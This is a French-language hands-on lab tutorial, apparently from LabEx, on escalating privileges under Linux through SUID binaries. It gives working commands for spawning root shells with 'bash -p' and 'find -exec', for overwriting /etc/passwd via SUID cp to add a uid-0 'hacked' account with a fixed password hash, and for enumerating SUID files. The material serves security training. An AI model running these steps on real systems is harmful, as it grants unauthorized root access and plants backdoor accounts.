Exploiter les binaires SUID pour l'élévation de privilèges sous Linux

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous allez apprendre à propos de la permission SUID (Set user ID upon execution) et à l'utiliser pour monter en privilèges sur les systèmes Linux. L'objectif est d'obtenir les droits root en exploitant les binaires SUID avec diverses techniques, notamment en utilisant les commandes bash, find, cp et mv.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/save_output -.-> lab-416147{{"Exploiter les binaires SUID pour l'élévation de privilèges sous Linux"}} end

Comprendre le SUID

Dans cette étape, vous allez comprendre le concept de la permission SUID et ses implications.

En général, lorsqu'un programme est exécuté sur Linux, il s'exécute avec les permissions de l'utilisateur actuel. Cependant, certains programmes, comme cp, nécessitent des privilèges élevés pour effectuer certaines opérations, telles que copier des fichiers dans des répertoires restreints. Pour permettre aux utilisateurs normaux d'exécuter de tels programmes avec des privilèges élevés, la permission SUID peut être définie sur le fichier exécutable.

SUID signifie "Set user ID upon execution" (Définir l'identifiant utilisateur à l'exécution). Lorsqu'un fichier a la permission SUID définie, il s'exécute avec les permissions de son propriétaire, quel que soit l'utilisateur qui l'exécute. Par exemple, la commande cp est propriété de l'utilisateur root et a le bit SUID défini, ce qui permet à tout utilisateur de l'exécuter avec les privilèges root.

Pour vérifier la permission SUID sur la commande cp et enregistrer la sortie dans un fichier, exécutez la commande suivante :

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

Affichez le contenu du fichier suid_cp.txt en utilisant la commande suivante :

cat /home/labex/project/suid_cp.txt

Sortie attendue :

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

Vous devriez voir un s dans les bits de permission, indiquant la permission SUID.

Bien que le SUID puisse être utile pour permettre aux utilisateurs normaux d'exécuter des commandes privilégiées spécifiques, il peut également être exploité si le binaire SUID offre des fonctionnalités pour exécuter des commandes système ou modifier des fichiers.

Exploiter le SUID avec bash

Dans cette étape, vous allez apprendre à exploiter la commande bash avec la permission SUID pour monter en privilèges.

  1. Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project.

    cd /home/labex/project

    Vérifiez les permissions de la commande bash.

    ls -l /bin/bash

    Sortie attendue :

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. Si la commande bash a le bit SUID défini, vous pouvez l'utiliser pour exécuter des commandes système avec les privilèges root en utilisant la commande suivante :

    bash -p

    En utilisant whoami, vous pouvez vérifier que vous avez un shell root.

    whoami

    Sortie attendue :

    root
  3. Maintenant, vous pouvez créer un fichier nommé root.txt dans le répertoire /root et vérifier le contenu du fichier.

    touch /root/root.txt

    Vous devriez voir le fichier root.txt dans le répertoire /root.

Exploiter le SUID avec find

Dans cette étape, vous allez apprendre à exploiter la commande find avec la permission SUID pour monter en privilèges.

Après l'étape précédente, vous devriez avoir un shell root. Pour cette étape, vous devez vous déconnecter du shell root et vous reconnecter en tant qu'utilisateur labex en utilisant la commande exit ou en ouvrant un nouveau terminal.

  1. Tout d'abord, accédez au répertoire /home/labex/project :

    cd /home/labex/project

    Vérifiez les permissions de la commande find :

    ls -l /usr/bin/find

    Si la commande find a le bit SUID défini, vous pouvez l'utiliser pour exécuter des commandes système avec les privilèges root.

  2. La syntaxe pour exécuter une commande avec find est la suivante :

    find < file > -exec < command > \;

    Ici, <file> peut être n'importe quel fichier. Créons un fichier appelé test :

    touch test
  3. Maintenant, vous pouvez exécuter des commandes en utilisant find :

    find test -exec whoami \;

    Cela exécutera la commande whoami avec les privilèges root. Cependant, cette méthode n'est pas pratique pour les commandes interactives comme ssh ou su.

  4. Pour obtenir un shell root plus pratique, vous pouvez exécuter la commande /bin/bash :

    find test -exec /bin/bash -p \;

    Notez que le flag -p est nécessaire pour conserver l'identifiant utilisateur effectif (EUID) et éviter qu'il ne soit réinitialisé à l'identifiant utilisateur réel (RUID).

  5. Vous devriez maintenant avoir un shell root. Créez un fichier nommé root.txt dans le répertoire /root et vérifiez le contenu du fichier :

    touch /root/root.txt

    Vous devriez voir le fichier root.txt dans le répertoire /root.

Exploiter le SUID avec cp et mv

Dans cette étape, vous allez apprendre à exploiter les commandes cp et mv avec la permission SUID pour monter en privilèges en modifiant le fichier /etc/passwd ou /etc/shadow.

Après l'étape précédente, vous devriez avoir un shell root. Pour cette étape, vous devez vous déconnecter du shell root et vous reconnecter en tant qu'utilisateur labex en utilisant la commande exit ou en ouvrant un nouveau terminal.

  1. Tout d'abord, accédez au répertoire /home/labex/project :

    cd /home/labex/project

    Vérifiez les permissions de la commande cp :

    ls -l /bin/cp

    Si la commande cp a le bit SUID défini, vous pouvez procéder à l'exploitation.

  2. Copiez le contenu de /etc/passwd dans un fichier de votre répertoire personnel :

    cat /etc/passwd > /home/labex/project/passwd
  3. Créez une nouvelle entrée d'utilisateur avec les détails suivants :

  • Nom d'utilisateur : hacked

  • Mot de passe : pass123

    Insérez la ligne suivante à la fin du fichier /home/labex/project/passwd :

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. Maintenant, utilisez la commande cp avec la permission SUID pour écraser le fichier /etc/passwd :

    cp /home/labex/project/passwd /etc/passwd
  2. Après avoir écrasé le fichier, vous pouvez basculer vers l'utilisateur hacked avec le mot de passe pass123 en utilisant la commande su :

    su hacked

Étant donné que l'utilisateur hacked a un identifiant utilisateur (uid) de 0, vous aurez les privilèges root.

La méthode d'exploitation pour la commande mv est similaire à celle de cp. Vous pouvez l'essayer vous-même.

Recherche de binaires SUID

Dans cette étape, vous allez apprendre à trouver les binaires SUID sur un système qui peuvent potentiellement être exploités pour monter en privilèges.

  1. Vous pouvez utiliser les commandes suivantes pour lister tous les fichiers exécutables avec le bit SUID défini :

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. Accédez au répertoire /home/labex/project pour effectuer les étapes suivantes.

    cd /home/labex/project
  3. Choisissez l'une des commandes pour lister les binaires SUID sur le système et analysez la sortie.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    Vérifiez le contenu du fichier check_results.txt pour afficher la liste des binaires SUID sur le système.

    cat check_results.txt

    Cependant, la sortie peut contenir de nombreux fichiers qui ne peuvent pas être exploités pour monter en privilèges, nécessitant une analyse manuelle.

Résumé

Dans ce laboratoire (LabEx), vous avez appris à propos de la permission SUID et à exploiter différents binaires SUID, tels que bash, find, cp et mv, pour monter en privilèges sur les systèmes Linux. Vous avez acquis une expérience pratique en exploitant ces binaires pour obtenir un accès root, ce qui est une compétence cruciale dans le domaine de la cybersécurité. Le laboratoire a présenté un scénario pratique et vous a guidé à travers les étapes pour comprendre et appliquer efficacement les techniques.